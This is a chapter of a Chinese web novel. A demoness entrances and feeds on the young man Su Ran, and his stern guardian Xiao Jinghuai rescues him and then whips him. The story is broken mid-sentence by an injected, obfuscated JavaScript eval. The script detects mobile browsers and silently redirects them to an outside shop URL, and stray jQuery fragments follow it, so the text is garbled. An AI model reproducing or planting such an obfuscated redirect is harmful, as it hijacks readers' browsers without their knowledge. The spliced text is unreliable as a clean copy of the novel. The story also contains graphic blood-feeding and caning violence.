站在302门口,苏燃心脏剧烈跳动,手掌心也渗出了细密的汗珠,没注意脚下,从门缝飘出的腐香悄然缠住了他的脚踝。
他抬手,指节轻轻叩在门上。
“请进。” 何琳的声音从里面传来,比舞台上更柔和,更近,像羽毛搔刮过耳膜。
苏燃推开门。
何琳背对着他,站在满室破碎的月光里。
她换上了一袭华丽的红色长裙,修身的剪裁衬托出她玲珑有致的曲线,猩红裙裾拖在地上,随着她转身的动作轻轻摆动,上面的曼陀罗花纹仿佛正在吞噬地毯上的金丝绣线。
何琳的脸庞堪称完美,像是经年霜雪雕琢的杰作,冷釉质感的苍白下浮着极光般的淡绯。眼窝似盛着永夜冻湖,睫羽振翅时溅起的幽蓝磷火,能将每个凝视者拖入深渊。
梦境里反复拓印的虚影具象为实体,让苏然忘了呼吸,他试图调动萧景淮训练过的完美仪态,却发现四肢正被无形的力量缠绕,何琳耳坠上摇曳的月光石释放出神秘光泽,精准瓦解了他每一寸故作镇定的伪装。
何琳轻轻抬手,纤细手指微微弯曲,苏然便如提线木偶般来到面前。
有一瞬间,他生出一丝迷茫,感觉哪里似乎不对。但这个念头像电光火石一样,才在心头一闪,便被何琳轻轻的叹息打断。
“真像一个漂亮的琉璃人偶。"
何琳指尖划过苏然颈动脉,蔻丹红得像是刚蘸过心头血。
"可惜,瞳孔温度出卖了你。"
轻柔尾音化作蛇信舔舐耳廓,苏然听见自己血管里血液在嘶鸣。
何琳像一株汲取月华生长的曼陀罗,带着致命的寒意倾入苏然臂弯。
苏燃被动地揽住她的肩膀。浓郁的香气扑面而来,那香绝非尘世寻常气味,像被月光泡得发胀的曼陀罗花瓣,在暗夜里腐烂发酵时,混着墓穴里冷冽的石腥气,又缠绕了几分少女发间的甜腻脂粉味。
它像一条无形的蛇,顺着苏燃的鼻息钻进去,贴着喉管缓缓游走,带着蚀骨的冷意与勾魂的甜,明明是死亡的气息,却又透着蛊惑人心的绮丽,让他浑身的血液都像是被这股味道缠得慢了半拍,连呼吸都不由自主地放轻、放柔。
何琳在他怀里轻轻抬头,眼眸沉如浸了墨的寒潭,漾着细碎的、勾魂摄魄的漩涡:“年轻的造物主该向黑夜献祭。"她吐息间腐香更浓,手臂勾住苏燃的脖颈,贴了上去,齿尖掠过苏然锁骨,"分我半盏滚烫的热血,可好?"
此时的苏然已被摄去魂魄,眼神空洞地点了点头。
他分不清何琳的真实意图,但能感受到她身上散发出来的危险气息,这种感觉令他战栗,仿佛深藏在血脉深处,某种被压抑了千年的本能就要苏醒。
何琳收紧手臂,泛着血光的指尖扣住苏然后颈,冰唇轻轻贴上了他颈侧的皮肤。
苏然的身体猛地一颤,眼眸恢复几丝清明。何琳右手在他后背打着旋,轻轻一按,苏然又是一阵恍惚,眼神再次变得迷离。隐约觉得脖颈处传来一阵轻微刺痛,紧接着是一种奇异的酥麻感如电流般蹿遍全身,所有感官都被无限放大,又瞬间模糊。周围的一切渐渐隐去,只剩下灵魂轻飘飘地脱离了躯壳,在无尽的欢愉中肆意飘荡。
“砰!”
一声闷响,来自室内空气的骤然震颤!
然后,休息室的门,被一股不可抗拒的力量,从外面推开了。
萧景淮站在走廊的阴影里,周身的气压低得像凝了冰。
他的目光落在苏燃揽着何琳的手上,那双平日里总是覆着一层淡漠疏离的眼,此刻瞳仁缩成了极细的一点,淬着能将人凌迟的寒意,眼底翻涌的戾气几乎要冲破皮肉,将这片暧昧的夜色撕出一道裂口。
何琳瞬间僵住,慌忙直起身,眸中掠过一丝被打断进食的阴冷恼怒。
萧景淮从阴影里踱出,皮鞋跟叩击着地面,发出笃、笃、笃的声响。
不快,却重得像敲在人心尖上的鼓点,一声比一声沉,一声比一声冷,硬生生将那片缠缠绵绵的腐甜气息,震得四分五裂。声音穿透夜色,碾过室内的光影,带着一身愠怒,一步步逼近,惊得苏燃后颈的汗毛瞬间竖起。
何琳脸上已恢复那副完美假面,虽然本能地惧怕萧景淮,但尝过苏燃纯净甜美的味道,怎舍得放弃,她试图和萧景淮讲道理。
妖的道理。
“萧先生不请自来,打扰别人……叙旧,似乎不太礼貌。”
她刻意把叙旧两个字说得极重,意在提醒萧景淮,这个人类,是我很久以前就标记过的食物。
萧景淮被苏燃气得不轻,哪里有心情跟她啰嗦。上前扣住苏燃的手腕,力道很大,直接将人拽向门口。经过何琳身边时,他脚步未停,留下一句轻得只有两人能听到低语。
“管好你的‘食欲’。再伸爪子,我不介意帮你剁了。”
何琳瞳孔骤缩,指尖掐入掌心,怒火灼穿眼底,却不敢再越雷池半步。呼吸凝滞间,萧景淮已带着苏燃消失在门外。
走廊里,感应灯随着他们急促的脚步声明灭。苏燃被拖得跌跌撞撞,冷空气灌入肺叶,他猛地打了个寒颤,眼神里的迷茫褪去些许。
直到走到楼梯拐角,萧景淮才松开手,停下脚步,转身,静默地看了苏燃几秒,唇角勾起一个没有笑意的弧度。
“被一只吸血蟾蜍蛊惑的滋味,如何?”
苏燃茫然地眨了眨眼,眉心蹙成一团,半点也想不起刚才发生了什么。
一路无话。
保姆车沉默地驶向“云汀公寓”。车内的空气比窗外的夜色更冷。萧景淮闭目靠在椅背上,手指在膝盖上无意识地敲击,节奏平稳,却让苏燃的心跳一次次失序。
车子抵达地下车库。小慧已经等在车位旁,手里提着一个长条形盒子。
苏燃看到小慧手里的东西,身体僵住。从训练营出来的他,当然认得那是什么,寒意顺着脊椎爬升。
萧景淮率先下车,苏燃低垂着头,跟在他身后。
电梯上行,镜面映出萧景淮毫无表情的脸,和苏燃血色尽失的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17228490|197577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
侧影。
进入公寓,萧景淮反手锁上门。冰冷的“咔哒”声在空旷的客厅里回响,吓得苏燃一阵轻颤。
萧景淮没有开灯,窗外城市的霓虹透进些许微光,勾勒出家具冷硬的轮廓。他走到沙发前,将助理刚刚送过来的那个深色皮质长条盒子,放在玻璃茶几上,转过身,面对僵立在玄关处的苏燃。
他的声音在昏暗中响起,淬着冰。
“跪下。”
苏燃身体剧烈一颤,指尖深深掐进掌心,五年训练营刻入骨髓的服从本能被瞬间唤醒,他脱掉外衣,走到萧景淮面前,双膝一弯,跪在坚硬冰冷的地板上。
膝盖撞击地面的闷响,在寂静中格外清晰。
萧景淮打开皮盒的扣襻。
里面衬着深色绒布,躺着一根两指宽,暗褐色的藤鞭。
萧景淮将它拿了出来。
“我有没有说过,离何琳远点?”
“……有。”苏燃声音发紧,尾音微颤,垂着的眼睫簌簌发抖。
“我有没有说过,今天对你非常重要?”
“有。”
“我有没有说过,庆典结束,立刻归队?”
“有。”
萧景淮话音落下,藤鞭便撕裂空气,发出短促凌厉的尖啸。
“啪——”
一声极其清脆的爆响,狠狠抽在苏燃的后背上。单薄的衬衫几乎没起到任何缓冲,一道火辣辣的痛,瞬间炸开,像烧红的烙铁直接印上皮肉,穿透骨骼。
苏燃闷哼一声,身体猛地向前一躬,双手死死撑住地面,才没有扑倒。眼前骤然发黑,所有思绪被这纯粹而尖锐的痛楚彻底抽空。
疼痛还未平息,第二下已接踵而至。
“啪——”
更重,更狠,精准地叠在前一道伤痕之上。苏燃浑身剧颤,喉咙里溢出一声压抑不住的痛吟,冷汗瞬间湿透了鬓发和后背的衣料。他能感觉到皮肉在灼烧、肿胀,仿佛要裂开。
“啪——”
第三下挟着前两下累积的所有冰冷怒意,以雷霆之势落下。
苏燃再也支撑不住,整个人被抽得向前扑倒,额头重重磕在冰冷的地板上,发出沉闷的响声。背后仿佛不是挨了三下,而是被烈焰反复灼烧。
疼痛达到了某个顶点,反而让意识出现了一瞬诡异的空白,只剩下身体本能的、无法抑制的战栗。
世界寂静了几秒。
只有苏燃压抑的、破碎的喘息声,在空旷的房间里艰难地起伏。
萧景淮垂眸,看着蜷缩在地板上的年轻躯体,静立片刻,然后手腕一翻。
藤鞭被他扔在苏燃身边的地板上,发出轻响。
暗褐色的木质表面,浸染了几点刺目的红,在昏暗中触目惊心。
他没有再看苏燃一眼,转身,走向门口。
门打开,又关上。
将苏燃一个人,留在这片弥漫着疼痛、冰冷和淡淡血腥气的黑暗里。
窗外,夜凉如水,城市的霓虹依旧流光溢彩。